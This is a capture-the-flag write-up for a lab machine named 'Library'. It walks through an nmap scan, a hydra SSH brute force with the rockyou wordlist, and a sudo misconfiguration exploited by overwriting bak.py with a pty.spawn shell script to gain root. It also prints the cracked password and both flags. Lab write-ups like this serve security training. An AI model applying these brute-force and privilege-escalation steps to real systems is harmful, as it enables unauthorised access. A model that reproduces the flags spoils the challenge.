Library

boot2root machine for FIT and bsides guatemala CTF

nmap-scan

```
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 c4:2f:c3:47:67:06:32:04:ef:92:91:8e:05:87:d5:dc (RSA)
|   256 68:92:13:ec:94:79:dc:bb:77:02:da:99:bf:b6:9d:b0 (ECDSA)
|_  256 43:e8:24:fc:d8:b8:d3:aa:c2:48:08:97:51:dc:5b:7d (ED25519)

80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
| http-robots.txt: 1 disallowed entry
|_/
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Welcome to  Blog - Library Machine

Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

creds

root
www-data
Anonymous
meliodas:iloveyou1

robots.txt

User-agent: rockyou
Disallow: /

writeup

----------user-flag----------

--ran nmap -sC -sV <IP> and found open ports on 22 and 80.
--ran gobuster dir -w common-dirs.txt -u http://<IP> and found robots.txt that contains user-agent of rockyou.
--visited web server on port 80 through browser and found some usernames, one being melodias.
--ran hydra -l melodias -P rockyou.txt <IP> -t 64 ssh and got password of iloveyou1
--logged in to SSH with ssh meliodas@<IP> and password iloveyou1 with success
--ran cat user.txt and got user flag:
6d488cbb3f111d135722c33cb635f4ec

----------root-flag----------

--ran sudo -l and got:
User meliodas may run the following commands on ubuntu:
(ALL) NOPASSWD: /usr/bin/python* /home/meliodas/bak.py

--found bak.py file in meliodas directory
--ran rm bak.py and echo 'import pty; pty.spawn("/bin/sh")' > bak.py to insert privesc script
--ran sudo python bak.py and got error message:
Sorry, user meliodas is not allowed to execute '/usr/bin/python bak.py' as root on ubuntu.

--since 'sudo -l' contained /usr/bin/python specifically, I tried running the file from the /usr/bin directory, and it was successfull.
--ran whoami and got:
root

--ran cat /root/root.txt and got root flag:
e8c8c6c256c35515d1d344ee0488c617

[Task 1] Library

Read user.txt and root.txt

#1
user.txt

6d488cbb3f111d135722c33cb635f4ec

#2
root.txt

e8c8c6c256c35515d1d344ee0488c617